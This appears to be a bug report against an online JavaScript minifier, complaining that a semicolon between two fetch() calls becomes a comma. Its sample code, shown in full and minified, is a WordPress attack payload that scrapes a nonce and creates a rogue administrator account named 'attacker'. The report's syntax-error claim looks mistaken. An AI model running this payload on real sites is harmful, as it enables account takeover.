A semi-colon is wrongly transformed into a comma during the compression, which results in a syntax error #103

Hi,

Please consider the following copy-pasted code, in particular the semi-colon ";" at the end of the first "fetch()", just before the second (fetch()".

var nonce;
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
fetch(requestURL)
	.then(resp => resp.text())
	.then(data => nonce = nonceRegex.exec(data)[1])
	.catch(error => console.error("Erreur :", error));
fetch(requestURL, {
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    body: new URLSearchParams({
        action: "createuser",
        "_wpnonce_create-user": nonce,
        user_login: "attacker",
        email: "attacker@offsec.com",
        pass1: "attackerpass",
        pass2: "attackerpass",
        role: "administrator"
    })
})
    .then(response => response.json())
    .then(data => console.log("Response:", data))
    .catch(error => console.error("Erreur :", error));

When I use jscompress.com, the result is (copy-paste):

var nonce,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;fetch(requestURL).then(e=>e.text()).then(e=>nonce=nonceRegex.exec(e)[1]).catch(e=>console.error("Erreur :",e)),fetch(requestURL,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:new URLSearchParams({action:"createuser","_wpnonce_create-user":nonce,user_login:"attacker",email:"attacker@offsec.com",pass1:"attackerpass",pass2:"attackerpass",role:"administrator"})}).then(e=>e.json()).then(e=>console.log("Response:",e)).catch(e=>console.error("Erreur :",e));

We can see the semi-colon mentioned earlier was turned into a comma, which results in a syntax error when I execute the code.
